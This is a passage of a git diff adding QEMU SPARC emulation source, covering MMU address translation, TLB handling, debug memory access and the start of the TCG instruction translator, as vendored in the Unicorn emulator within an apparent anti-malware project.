8, 12, 12 }, + { 8, 0, 8, 0, 8, 0, 8, 0 }, + { 8, 8, 8, 0, 8, 8, 12, 12 }, + { 8, 8, 8, 0, 8, 8, 8, 0 } +}; + +static const int perm_table[2][8] = { + { + PAGE_READ, + PAGE_READ | PAGE_WRITE, + PAGE_READ | PAGE_EXEC, + PAGE_READ | PAGE_WRITE | PAGE_EXEC, + PAGE_EXEC, + PAGE_READ | PAGE_WRITE, + PAGE_READ | PAGE_EXEC, + PAGE_READ | PAGE_WRITE | PAGE_EXEC + }, + { + PAGE_READ, + PAGE_READ | PAGE_WRITE, + PAGE_READ | PAGE_EXEC, + PAGE_READ | PAGE_WRITE | PAGE_EXEC, + PAGE_EXEC, + PAGE_READ, + 0, + 0, + } +}; + +static int get_physical_address(CPUSPARCState *env, hwaddr *physical, + int *prot, int *access_index, + target_ulong address, int rw, int mmu_idx, + target_ulong *page_size) +{ + int access_perms = 0; + hwaddr pde_ptr; + uint32_t pde; + int error_code = 0, is_dirty, is_user; + unsigned long page_offset; + CPUState *cs = CPU(sparc_env_get_cpu(env)); + + is_user = mmu_idx == MMU_USER_IDX; + + if ((env->mmuregs[0] & MMU_E) == 0) { /* MMU disabled */ + *page_size = TARGET_PAGE_SIZE; + /* Boot mode: instruction fetches are taken from PROM */ + if (rw == 2 && (env->mmuregs[0] & env->def->mmu_bm)) { + *physical = env->prom_addr | (address & 0x7ffffULL); + *prot = PAGE_READ | PAGE_EXEC; + return 0; + } + *physical = address; + *prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC; + return 0; + } + + *access_index = ((rw & 1) << 2) | (rw & 2) | (is_user ? 0 : 1); + *physical = 0xffffffffffff0000ULL; + + /* SPARC reference MMU table walk: Context table->L1->L2->PTE */ + /* Context base + context number */ + pde_ptr = (env->mmuregs[1] << 4) + (env->mmuregs[2] << 2); + pde = ldl_phys(cs->as, pde_ptr); + + /* Ctx pde */ + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + return 1 << 2; + case 2: /* L0 PTE, maybe should not happen? */ + case 3: /* Reserved */ + return 4 << 2; + case 1: /* L0 PDE */ + pde_ptr = ((address >> 22) & ~3) + ((pde & ~3) << 4); + pde = ldl_phys(cs->as, pde_ptr); + + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + return (1 << 8) | (1 << 2); + case 3: /* Reserved */ + return (1 << 8) | (4 << 2); + case 1: /* L1 PDE */ + pde_ptr = ((address & 0xfc0000) >> 16) + ((pde & ~3) << 4); + pde = ldl_phys(cs->as, pde_ptr); + + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + return (2 << 8) | (1 << 2); + case 3: /* Reserved */ + return (2 << 8) | (4 << 2); + case 1: /* L2 PDE */ + pde_ptr = ((address & 0x3f000) >> 10) + ((pde & ~3) << 4); + pde = ldl_phys(cs->as, pde_ptr); + + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + return (3 << 8) | (1 << 2); + case 1: /* PDE, should not happen */ + case 3: /* Reserved */ + return (3 << 8) | (4 << 2); + case 2: /* L3 PTE */ + page_offset = 0; + } + *page_size = TARGET_PAGE_SIZE; + break; + case 2: /* L2 PTE */ + page_offset = address & 0x3f000; + *page_size = 0x40000; + } + break; + case 2: /* L1 PTE */ + page_offset = address & 0xfff000; + *page_size = 0x1000000; + } + } + + /* check access */ + access_perms = (pde & PTE_ACCESS_MASK) >> PTE_ACCESS_SHIFT; + error_code = access_table[*access_index][access_perms]; + if (error_code && !((env->mmuregs[0] & MMU_NF) && is_user)) { + return error_code; + } + + /* update page modified and dirty bits */ + is_dirty = (rw & 1) && !(pde & PG_MODIFIED_MASK); + if (!(pde & PG_ACCESSED_MASK) || is_dirty) { + pde |= PG_ACCESSED_MASK; + if (is_dirty) { + pde |= PG_MODIFIED_MASK; + } + stl_phys_notdirty(cs->as, pde_ptr, pde); + } + + /* the page can be put in the TLB */ + *prot = perm_table[is_user][access_perms]; + if (!(pde & PG_MODIFIED_MASK)) { + /* only set write access if already dirty... otherwise wait + for dirty access */ + *prot &= ~PAGE_WRITE; + } + + /* Even if large ptes, we map only one 4KB page in the cache to + avoid filling it too fast */ + *physical = ((hwaddr)(pde & PTE_ADDR_MASK) << 4) + page_offset; + return error_code; +} + +/* Perform address translation */ +int sparc_cpu_handle_mmu_fault(CPUState *cs, vaddr address, int rw, + int mmu_idx) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + hwaddr paddr; + target_ulong vaddr; + target_ulong page_size; + int error_code = 0, prot, access_index; + + address &= TARGET_PAGE_MASK; + error_code = get_physical_address(env, &paddr, &prot, &access_index, + address, rw, mmu_idx, &page_size); + vaddr = address; + if (error_code == 0) { +#ifdef DEBUG_MMU + printf("Translate at %" VADDR_PRIx " -> " TARGET_FMT_plx ", vaddr " + TARGET_FMT_lx "\n", address, paddr, vaddr); +#endif + tlb_set_page(cs, vaddr, paddr, prot, mmu_idx, page_size); + return 0; + } + + if (env->mmuregs[3]) { /* Fault status register */ + env->mmuregs[3] = 1; /* overflow (not read before another fault) */ + } + env->mmuregs[3] |= (access_index << 5) | error_code | 2; + env->mmuregs[4] = address; /* Fault address register */ + + if ((env->mmuregs[0] & MMU_NF) || env->psret == 0) { + /* No fault mode: if a mapping is available, just override + permissions. If no mapping is available, redirect accesses to + neverland. Fake/overridden mappings will be flushed when + switching to normal mode. */ + prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC; + tlb_set_page(cs, vaddr, paddr, prot, mmu_idx, TARGET_PAGE_SIZE); + return 0; + } else { + if (rw & 2) { + cs->exception_index = TT_TFAULT; + } else { + cs->exception_index = TT_DFAULT; + } + return 1; + } +} + +target_ulong mmu_probe(CPUSPARCState *env, target_ulong address, int mmulev) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + hwaddr pde_ptr; + uint32_t pde; + + /* Context base + context number */ + pde_ptr = (hwaddr)(env->mmuregs[1] << 4) + + (env->mmuregs[2] << 2); + pde = ldl_phys(cs->as, pde_ptr); + + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + case 2: /* PTE, maybe should not happen? */ + case 3: /* Reserved */ + return 0; + case 1: /* L1 PDE */ + if (mmulev == 3) { + return pde; + } + pde_ptr = ((address >> 22) & ~3) + ((pde & ~3) << 4); + pde = ldl_phys(cs->as, pde_ptr); + + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + case 3: /* Reserved */ + return 0; + case 2: /* L1 PTE */ + return pde; + case 1: /* L2 PDE */ + if (mmulev == 2) { + return pde; + } + pde_ptr = ((address & 0xfc0000) >> 16) + ((pde & ~3) << 4); + pde = ldl_phys(cs->as, pde_ptr); + + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + case 3: /* Reserved */ + return 0; + case 2: /* L2 PTE */ + return pde; + case 1: /* L3 PDE */ + if (mmulev == 1) { + return pde; + } + pde_ptr = ((address & 0x3f000) >> 10) + ((pde & ~3) << 4); + pde = ldl_phys(cs->as, pde_ptr); + + switch (pde & PTE_ENTRYTYPE_MASK) { + default: + case 0: /* Invalid */ + case 1: /* PDE, should not happen */ + case 3: /* Reserved */ + return 0; + case 2: /* L3 PTE */ + return pde; + } + } + } + } + return 0; +} + +void dump_mmu(FILE *f, fprintf_function cpu_fprintf, CPUSPARCState *env) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + target_ulong va, va1, va2; + unsigned int n, m, o; + hwaddr pde_ptr, pa; + uint32_t pde; + + pde_ptr = (env->mmuregs[1] << 4) + (env->mmuregs[2] << 2); + pde = ldl_phys(cs->as, pde_ptr); + (*cpu_fprintf)(f, "Root ptr: " TARGET_FMT_plx ", ctx: %d\n", + (hwaddr)env->mmuregs[1] << 4, env->mmuregs[2]); + for (n = 0, va = 0; n < 256; n++, va += 16 * 1024 * 1024) { + pde = mmu_probe(env, va, 2); + if (pde) { + pa = cpu_get_phys_page_debug(cs, va); + (*cpu_fprintf)(f, "VA: " TARGET_FMT_lx ", PA: " TARGET_FMT_plx + " PDE: " TARGET_FMT_lx "\n", va, pa, pde); + for (m = 0, va1 = va; m < 64; m++, va1 += 256 * 1024) { + pde = mmu_probe(env, va1, 1); + if (pde) { + pa = cpu_get_phys_page_debug(cs, va1); + (*cpu_fprintf)(f, " VA: " TARGET_FMT_lx ", PA: " + TARGET_FMT_plx " PDE: " TARGET_FMT_lx "\n", + va1, pa, pde); + for (o = 0, va2 = va1; o < 64; o++, va2 += 4 * 1024) { + pde = mmu_probe(env, va2, 0); + if (pde) { + pa = cpu_get_phys_page_debug(cs, va2); + (*cpu_fprintf)(f, " VA: " TARGET_FMT_lx ", PA: " + TARGET_FMT_plx " PTE: " + TARGET_FMT_lx "\n", + va2, pa, pde); + } + } + } + } + } + } +} + +/* Gdb expects all registers windows to be flushed in ram. This function handles + * reads (and only reads) in stack frames as if windows were flushed. We assume + * that the sparc ABI is followed. + */ +int sparc_cpu_memory_rw_debug(CPUState *cs, vaddr address, + uint8_t *buf, int len, bool is_write) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + target_ulong addr = address; + int i; + int len1; + int cwp = env->cwp; + + if (!is_write) { + for (i = 0; i < env->nwindows; i++) { + int off; + target_ulong fp = env->regbase[cwp * 16 + 22]; + + /* Assume fp == 0 means end of frame. */ + if (fp == 0) { + break; + } + + cwp = cpu_cwp_inc(env, cwp + 1); + + /* Invalid window ? */ + if (env->wim & (1 << cwp)) { + break; + } + + /* According to the ABI, the stack is growing downward. */ + if (addr + len < fp) { + break; + } + + /* Not in this frame. */ + if (addr > fp + 64) { + continue; + } + + /* Handle access before this window. */ + if (addr < fp) { + len1 = fp - addr; + if (cpu_memory_rw_debug(cs, addr, buf, len1, is_write) != 0) { + return -1; + } + addr += len1; + len -= len1; + buf += len1; + } + + /* Access byte per byte to registers. Not very efficient but speed + * is not critical. + */ + off = addr - fp; + len1 = 64 - off; + + if (len1 > len) { + len1 = len; + } + + for (; len1; len1--) { + int reg = cwp * 16 + 8 + (off >> 2); + union { + uint32_t v; + uint8_t c[4]; + } u; + u.v = cpu_to_be32(env->regbase[reg]); + *buf++ = u.c[off & 3]; + addr++; + len--; + off++; + } + + if (len == 0) { + return 0; + } + } + } + return cpu_memory_rw_debug(cs, addr, buf, len, is_write); +} + +#else /* !TARGET_SPARC64 */ + +/* 41 bit physical address space */ +static inline hwaddr ultrasparc_truncate_physical(uint64_t x) +{ + return x & 0x1ffffffffffULL; +} + +/* + * UltraSparc IIi I/DMMUs + */ + +/* Returns true if TTE tag is valid and matches virtual address value + in context requires virtual address mask value calculated from TTE + entry size */ +static inline int ultrasparc_tag_match(SparcTLBEntry *tlb, + uint64_t address, uint64_t context, + hwaddr *physical) +{ + uint64_t mask; + + switch (TTE_PGSIZE(tlb->tte)) { + default: + case 0x0: /* 8k */ + mask = 0xffffffffffffe000ULL; + break; + case 0x1: /* 64k */ + mask = 0xffffffffffff0000ULL; + break; + case 0x2: /* 512k */ + mask = 0xfffffffffff80000ULL; + break; + case 0x3: /* 4M */ + mask = 0xffffffffffc00000ULL; + break; + } + + /* valid, context match, virtual address match? */ + if (TTE_IS_VALID(tlb->tte) && + (TTE_IS_GLOBAL(tlb->tte) || tlb_compare_context(tlb, context)) + && compare_masked(address, tlb->tag, mask)) { + /* decode physical address */ + *physical = ((tlb->tte & mask) | (address & ~mask)) & 0x1ffffffe000ULL; + return 1; + } + + return 0; +} + +static int get_physical_address_data(CPUSPARCState *env, + hwaddr *physical, int *prot, + target_ulong address, int rw, int mmu_idx) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + unsigned int i; + uint64_t context; + uint64_t sfsr = 0; + + int is_user = (mmu_idx == MMU_USER_IDX || + mmu_idx == MMU_USER_SECONDARY_IDX); + + if ((env->lsu & DMMU_E) == 0) { /* DMMU disabled */ + *physical = ultrasparc_truncate_physical(address); + *prot = PAGE_READ | PAGE_WRITE; + return 0; + } + + switch (mmu_idx) { + case MMU_USER_IDX: + case MMU_KERNEL_IDX: + context = env->dmmu.mmu_primary_context & 0x1fff; + sfsr |= SFSR_CT_PRIMARY; + break; + case MMU_USER_SECONDARY_IDX: + case MMU_KERNEL_SECONDARY_IDX: + context = env->dmmu.mmu_secondary_context & 0x1fff; + sfsr |= SFSR_CT_SECONDARY; + break; + case MMU_NUCLEUS_IDX: + sfsr |= SFSR_CT_NUCLEUS; + /* FALLTHRU */ + default: + context = 0; + break; + } + + if (rw == 1) { + sfsr |= SFSR_WRITE_BIT; + } else if (rw == 4) { + sfsr |= SFSR_NF_BIT; + } + + for (i = 0; i < 64; i++) { + /* ctx match, vaddr match, valid? */ + if (ultrasparc_tag_match(&env->dtlb[i], address, context, physical)) { + int do_fault = 0; + + /* access ok? */ + /* multiple bits in SFSR.FT may be set on TT_DFAULT */ + if (TTE_IS_PRIV(env->dtlb[i].tte) && is_user) { + do_fault = 1; + sfsr |= SFSR_FT_PRIV_BIT; /* privilege violation */ + //trace_mmu_helper_dfault(address, context, mmu_idx, env->tl); + } + if (rw == 4) { + if (TTE_IS_SIDEEFFECT(env->dtlb[i].tte)) { + do_fault = 1; + sfsr |= SFSR_FT_NF_E_BIT; + } + } else { + if (TTE_IS_NFO(env->dtlb[i].tte)) { + do_fault = 1; + sfsr |= SFSR_FT_NFO_BIT; + } + } + + if (do_fault) { + /* faults above are reported with TT_DFAULT. */ + cs->exception_index = TT_DFAULT; + } else if (!TTE_IS_W_OK(env->dtlb[i].tte) && (rw == 1)) { + do_fault = 1; + cs->exception_index = TT_DPROT; + + //trace_mmu_helper_dprot(address, context, mmu_idx, env->tl); + } + + if (!do_fault) { + *prot = PAGE_READ; + if (TTE_IS_W_OK(env->dtlb[i].tte)) { + *prot |= PAGE_WRITE; + } + + TTE_SET_USED(env->dtlb[i].tte); + + return 0; + } + + if (env->dmmu.sfsr & SFSR_VALID_BIT) { /* Fault status register */ + sfsr |= SFSR_OW_BIT; /* overflow (not read before + another fault) */ + } + + if (env->pstate & PS_PRIV) { + sfsr |= SFSR_PR_BIT; + } + + /* FIXME: ASI field in SFSR must be set */ + env->dmmu.sfsr = sfsr | SFSR_VALID_BIT; + + env->dmmu.sfar = address; /* Fault address register */ + + env->dmmu.tag_access = (address & ~0x1fffULL) | context; + + return 1; + } + } + + //trace_mmu_helper_dmiss(address, context); + + /* + * On MMU misses: + * - UltraSPARC IIi: SFSR and SFAR unmodified + * - JPS1: SFAR updated and some fields of SFSR updated + */ + env->dmmu.tag_access = (address & ~0x1fffULL) | context; + cs->exception_index = TT_DMISS; + return 1; +} + +static int get_physical_address_code(CPUSPARCState *env, + hwaddr *physical, int *prot, + target_ulong address, int mmu_idx) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + unsigned int i; + uint64_t context; + + int is_user = (mmu_idx == MMU_USER_IDX || + mmu_idx == MMU_USER_SECONDARY_IDX); + + if ((env->lsu & IMMU_E) == 0 || (env->pstate & PS_RED) != 0) { + /* IMMU disabled */ + *physical = ultrasparc_truncate_physical(address); + *prot = PAGE_EXEC; + return 0; + } + + if (env->tl == 0) { + /* PRIMARY context */ + context = env->dmmu.mmu_primary_context & 0x1fff; + } else { + /* NUCLEUS context */ + context = 0; + } + + for (i = 0; i < 64; i++) { + /* ctx match, vaddr match, valid? */ + if (ultrasparc_tag_match(&env->itlb[i], + address, context, physical)) { + /* access ok? */ + if (TTE_IS_PRIV(env->itlb[i].tte) && is_user) { + /* Fault status register */ + if (env->immu.sfsr & SFSR_VALID_BIT) { + env->immu.sfsr = SFSR_OW_BIT; /* overflow (not read before + another fault) */ + } else { + env->immu.sfsr = 0; + } + if (env->pstate & PS_PRIV) { + env->immu.sfsr |= SFSR_PR_BIT; + } + if (env->tl > 0) { + env->immu.sfsr |= SFSR_CT_NUCLEUS; + } + + /* FIXME: ASI field in SFSR must be set */ + env->immu.sfsr |= SFSR_FT_PRIV_BIT | SFSR_VALID_BIT; + cs->exception_index = TT_TFAULT; + + env->immu.tag_access = (address & ~0x1fffULL) | context; + + //trace_mmu_helper_tfault(address, context); + + return 1; + } + *prot = PAGE_EXEC; + TTE_SET_USED(env->itlb[i].tte); + return 0; + } + } + + //trace_mmu_helper_tmiss(address, context); + + /* Context is stored in DMMU (dmmuregs[1]) also for IMMU */ + env->immu.tag_access = (address & ~0x1fffULL) | context; + cs->exception_index = TT_TMISS; + return 1; +} + +static int get_physical_address(CPUSPARCState *env, hwaddr *physical, + int *prot, int *access_index, + target_ulong address, int rw, int mmu_idx, + target_ulong *page_size) +{ + /* ??? We treat everything as a small page, then explicitly flush + everything when an entry is evicted. */ + *page_size = TARGET_PAGE_SIZE; + + /* safety net to catch wrong softmmu index use from dynamic code */ + if (env->tl > 0 && mmu_idx != MMU_NUCLEUS_IDX) { + if (rw == 2) { + //trace_mmu_helper_get_phys_addr_code(env->tl, mmu_idx, + // env->dmmu.mmu_primary_context, + // env->dmmu.mmu_secondary_context, + // address); + } else { + //trace_mmu_helper_get_phys_addr_data(env->tl, mmu_idx, + // env->dmmu.mmu_primary_context, + // env->dmmu.mmu_secondary_context, + // address); + } + } + + if (rw == 2) { + return get_physical_address_code(env, physical, prot, address, + mmu_idx); + } else { + return get_physical_address_data(env, physical, prot, address, rw, + mmu_idx); + } +} + +/* Perform address translation */ +int sparc_cpu_handle_mmu_fault(CPUState *cs, vaddr address, int rw, + int mmu_idx) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + target_ulong vaddr; + hwaddr paddr; + target_ulong page_size; + int error_code = 0, prot, access_index; + + address &= TARGET_PAGE_MASK; + error_code = get_physical_address(env, &paddr, &prot, &access_index, + address, rw, mmu_idx, &page_size); + if (error_code == 0) { + vaddr = address; + + //trace_mmu_helper_mmu_fault(address, paddr, mmu_idx, env->tl, + // env->dmmu.mmu_primary_context, + // env->dmmu.mmu_secondary_context); + + tlb_set_page(cs, vaddr, paddr, prot, mmu_idx, page_size); + return 0; + } + /* XXX */ + return 1; +} + +void dump_mmu(FILE *f, fprintf_function cpu_fprintf, CPUSPARCState *env) +{ + unsigned int i; + const char *mask; + + (*cpu_fprintf)(f, "MMU contexts: Primary: %" PRId64 ", Secondary: %" + PRId64 "\n", + env->dmmu.mmu_primary_context, + env->dmmu.mmu_secondary_context); + if ((env->lsu & DMMU_E) == 0) { + (*cpu_fprintf)(f, "DMMU disabled\n"); + } else { + (*cpu_fprintf)(f, "DMMU dump\n"); + for (i = 0; i < 64; i++) { + switch (TTE_PGSIZE(env->dtlb[i].tte)) { + default: + case 0x0: + mask = " 8k"; + break; + case 0x1: + mask = " 64k"; + break; + case 0x2: + mask = "512k"; + break; + case 0x3: + mask = " 4M"; + break; + } + if (TTE_IS_VALID(env->dtlb[i].tte)) { + (*cpu_fprintf)(f, "[%02u] VA: %" PRIx64 ", PA: %llx" + ", %s, %s, %s, %s, ctx %" PRId64 " %s\n", + i, + env->dtlb[i].tag & (uint64_t)~0x1fffULL, + TTE_PA(env->dtlb[i].tte), + mask, + TTE_IS_PRIV(env->dtlb[i].tte) ? "priv" : "user", + TTE_IS_W_OK(env->dtlb[i].tte) ? "RW" : "RO", + TTE_IS_LOCKED(env->dtlb[i].tte) ? + "locked" : "unlocked", + env->dtlb[i].tag & (uint64_t)0x1fffULL, + TTE_IS_GLOBAL(env->dtlb[i].tte) ? + "global" : "local"); + } + } + } + if ((env->lsu & IMMU_E) == 0) { + (*cpu_fprintf)(f, "IMMU disabled\n"); + } else { + (*cpu_fprintf)(f, "IMMU dump\n"); + for (i = 0; i < 64; i++) { + switch (TTE_PGSIZE(env->itlb[i].tte)) { + default: + case 0x0: + mask = " 8k"; + break; + case 0x1: + mask = " 64k"; + break; + case 0x2: + mask = "512k"; + break; + case 0x3: + mask = " 4M"; + break; + } + if (TTE_IS_VALID(env->itlb[i].tte)) { + (*cpu_fprintf)(f, "[%02u] VA: %" PRIx64 ", PA: %llx" + ", %s, %s, %s, ctx %" PRId64 " %s\n", + i, + env->itlb[i].tag & (uint64_t)~0x1fffULL, + TTE_PA(env->itlb[i].tte), + mask, + TTE_IS_PRIV(env->itlb[i].tte) ? "priv" : "user", + TTE_IS_LOCKED(env->itlb[i].tte) ? + "locked" : "unlocked", + env->itlb[i].tag & (uint64_t)0x1fffULL, + TTE_IS_GLOBAL(env->itlb[i].tte) ? + "global" : "local"); + } + } + } +} + +#endif /* TARGET_SPARC64 */ + +static int cpu_sparc_get_phys_page(CPUSPARCState *env, hwaddr *phys, + target_ulong addr, int rw, int mmu_idx) +{ + target_ulong page_size; + int prot, access_index; + + return get_physical_address(env, phys, &prot, &access_index, addr, rw, + mmu_idx, &page_size); +} + +#if defined(TARGET_SPARC64) +hwaddr cpu_get_phys_page_nofault(CPUSPARCState *env, target_ulong addr, + int mmu_idx) +{ + hwaddr phys_addr; + + if (cpu_sparc_get_phys_page(env, &phys_addr, addr, 4, mmu_idx) != 0) { + return -1; + } + return phys_addr; +} +#endif + +hwaddr sparc_cpu_get_phys_page_debug(CPUState *cs, vaddr addr) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + hwaddr phys_addr; + int mmu_idx = cpu_mmu_index(env); + MemoryRegionSection section; + + if (cpu_sparc_get_phys_page(env, &phys_addr, addr, 2, mmu_idx) != 0) { + if (cpu_sparc_get_phys_page(env, &phys_addr, addr, 0, mmu_idx) != 0) { + return -1; + } + } + section = memory_region_find(get_system_memory(cs->uc), phys_addr, 1); + memory_region_unref(section.mr); + if (!int128_nz(section.size)) { + return -1; + } + return phys_addr; +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/translate.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/translate.c new file mode 100644 index 0000000..f39a70e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/translate.c @@ -0,0 +1,5719 @@ +/* + SPARC translation + + Copyright (C) 2003 Thomas M. Ogrisegg + Copyright (C) 2003-2005 Fabrice Bellard + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, see . + */ + +#include +#include +#include +#include +#include "unicorn/platform.h" + +#include "cpu.h" +#include "exec/helper-proto.h" +#include "tcg-op.h" +#include "exec/cpu_ldst.h" + +#include "exec/helper-gen.h" + +#include "exec/gen-icount.h" + +#define DYNAMIC_PC 1 /* dynamic pc value */ +#define JUMP_PC 2 /* dynamic pc value which takes only two values + according to jump_pc[T2] */ + + +typedef struct DisasContext { + target_ulong pc; /* current Program Counter: integer or DYNAMIC_PC */ + target_ulong npc; /* next PC: integer or DYNAMIC_PC or JUMP_PC */ + target_ulong jump_pc[2]; /* used when JUMP_PC pc value is used */ + int is_br; + int mem_idx; + int fpu_enabled; + int address_mask_32bit; + int singlestep; + uint32_t cc_op; /* current CC operation */ + struct TranslationBlock *tb; + sparc_def_t *def; + TCGv_i32 t32[3]; + TCGv ttl[6]; + int n_t32; + int n_ttl; + + // Unicorn engine + struct uc_struct *uc; +} DisasContext; + +typedef struct { + TCGCond cond; + bool is_bool; + bool g1, g2; + TCGv c1, c2; +} DisasCompare; + +// This function uses non-native bit order +#define GET_FIELD(X, FROM, TO) \ + ((X) >> (31 - (TO)) & ((1 << ((TO) - (FROM) + 1)) - 1)) + +// This function uses the order in the manuals, i.e. bit 0 is 2^0 +#define GET_FIELD_SP(X, FROM, TO) \ + GET_FIELD(X, 31 - (TO), 31 - (FROM)) + +#define GET_FIELDs(x,a,b) sign_extend (GET_FIELD(x,a,b), (b) - (a) + 1) +#define GET_FIELD_SPs(x,a,b) sign_extend (GET_FIELD_SP(x,a,b), ((b) - (a) + 1)) + +#ifdef TARGET_SPARC64 +#define DFPREG(r) (((r & 1) << 5) | (r & 0x1e)) +#define QFPREG(r) (((r & 1) << 5) | (r & 0x1c)) +#else +#define DFPREG(r) (r & 0x1e) +#define QFPREG(r) (r & 0x1c) +#endif + +#define UA2005_HTRAP_MASK 0xff +#define V8_TRAP_MASK 0x7f + +static int sign_extend(int x, int len) +{ + len = 32 - len; + return ((int)(((unsigned int)x) << len)) >> len; +} + +#define IS_IMM (insn & (1<<13)) + +static inline TCGv_i32 get_temp_i32(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 t; + assert(dc->n_t32 < ARRAY_SIZE(dc->t32)); + dc->t32[dc->n_t32++] = t = tcg_temp_new_i32(tcg_ctx); + return t; +} + +static inline TCGv get_temp_tl(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t; + assert(dc->n_ttl < ARRAY_SIZE(dc->ttl)); + dc->ttl[dc->n_ttl++] = t = tcg_temp_new(tcg_ctx); + return t; +} + +static inline void gen_update_fprs_dirty(DisasContext *dc, int rd) +{ +#if defined(TARGET_SPARC64) + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_ori_i32(tcg_ctx, tcg_ctx->cpu_fprs, tcg_ctx->cpu_fprs, (rd < 32) ? 1 : 2); +#endif +} + +/* floating point registers moves */ +static TCGv_i32 gen_load_fpr_F(DisasContext *dc, unsigned int src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; +#if TCG_TARGET_REG_BITS == 32 + if (src & 1) { + return TCGV_LOW(tcg_ctx->cpu_fpr[src / 2]); + } else { + return TCGV_HIGH(tcg_ctx->cpu_fpr[src / 2]); + } +#else + if (src & 1) { + return MAKE_TCGV_I32(GET_TCGV_I64(tcg_ctx->cpu_fpr[src / 2])); + } else { + TCGv_i32 ret = get_temp_i32(dc); + TCGv_i64 t = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_shri_i64(tcg_ctx, t, tcg_ctx->cpu_fpr[src / 2], 32); + tcg_gen_trunc_i64_i32(tcg_ctx, ret, t); + tcg_temp_free_i64(tcg_ctx, t); + + return ret; + } +#endif +} + +static void gen_store_fpr_F(DisasContext *dc, unsigned int dst, TCGv_i32 v) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; +#if TCG_TARGET_REG_BITS == 32 + if (dst & 1) { + tcg_gen_mov_i32(tcg_ctx, TCGV_LOW(tcg_ctx->cpu_fpr[dst / 2]), v); + } else { + tcg_gen_mov_i32(tcg_ctx, TCGV_HIGH(tcg_ctx->cpu_fpr[dst / 2]), v); + } +#else + TCGv_i64 t = MAKE_TCGV_I64(GET_TCGV_I32(v)); + tcg_gen_deposit_i64(tcg_ctx, tcg_ctx->cpu_fpr[dst / 2], tcg_ctx->cpu_fpr[dst / 2], t, + (dst & 1 ? 0 : 32), 32); +#endif + gen_update_fprs_dirty(dc, dst); +} + +static TCGv_i32 gen_dest_fpr_F(DisasContext *dc) +{ + return get_temp_i32(dc); +} + +static TCGv_i64 gen_load_fpr_D(DisasContext *dc, unsigned int src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + src = DFPREG(src); + return tcg_ctx->cpu_fpr[src / 2]; +} + +static void gen_store_fpr_D(DisasContext *dc, unsigned int dst, TCGv_i64 v) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + dst = DFPREG(dst); + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_fpr[dst / 2], v); + gen_update_fprs_dirty(dc, dst); +} + +static TCGv_i64 gen_dest_fpr_D(DisasContext *dc, unsigned int dst) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + return tcg_ctx->cpu_fpr[DFPREG(dst) / 2]; +} + +static void gen_op_load_fpr_QT0(DisasContext *dc, unsigned int src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_st_i64(tcg_ctx, tcg_ctx->cpu_fpr[src / 2], tcg_ctx->cpu_env, offsetof(CPUSPARCState, qt0) + + offsetof(CPU_QuadU, ll.upper)); + tcg_gen_st_i64(tcg_ctx, tcg_ctx->cpu_fpr[src/2 + 1], tcg_ctx->cpu_env, offsetof(CPUSPARCState, qt0) + + offsetof(CPU_QuadU, ll.lower)); +} + +static void gen_op_load_fpr_QT1(DisasContext *dc, unsigned int src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_st_i64(tcg_ctx, tcg_ctx->cpu_fpr[src / 2], tcg_ctx->cpu_env, offsetof(CPUSPARCState, qt1) + + offsetof(CPU_QuadU, ll.upper)); + tcg_gen_st_i64(tcg_ctx, tcg_ctx->cpu_fpr[src/2 + 1], tcg_ctx->cpu_env, offsetof(CPUSPARCState, qt1) + + offsetof(CPU_QuadU, ll.lower)); +} + +static void gen_op_store_QT0_fpr(DisasContext *dc, unsigned int dst) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_ld_i64(tcg_ctx, tcg_ctx->cpu_fpr[dst / 2], tcg_ctx->cpu_env, offsetof(CPUSPARCState, qt0) + + offsetof(CPU_QuadU, ll.upper)); + tcg_gen_ld_i64(tcg_ctx, tcg_ctx->cpu_fpr[dst/2 + 1], tcg_ctx->cpu_env, offsetof(CPUSPARCState, qt0) + + offsetof(CPU_QuadU, ll.lower)); +} + +#ifdef TARGET_SPARC64 +static void gen_move_Q(DisasContext *dc, unsigned int rd, unsigned int rs) +{ + TCGContext 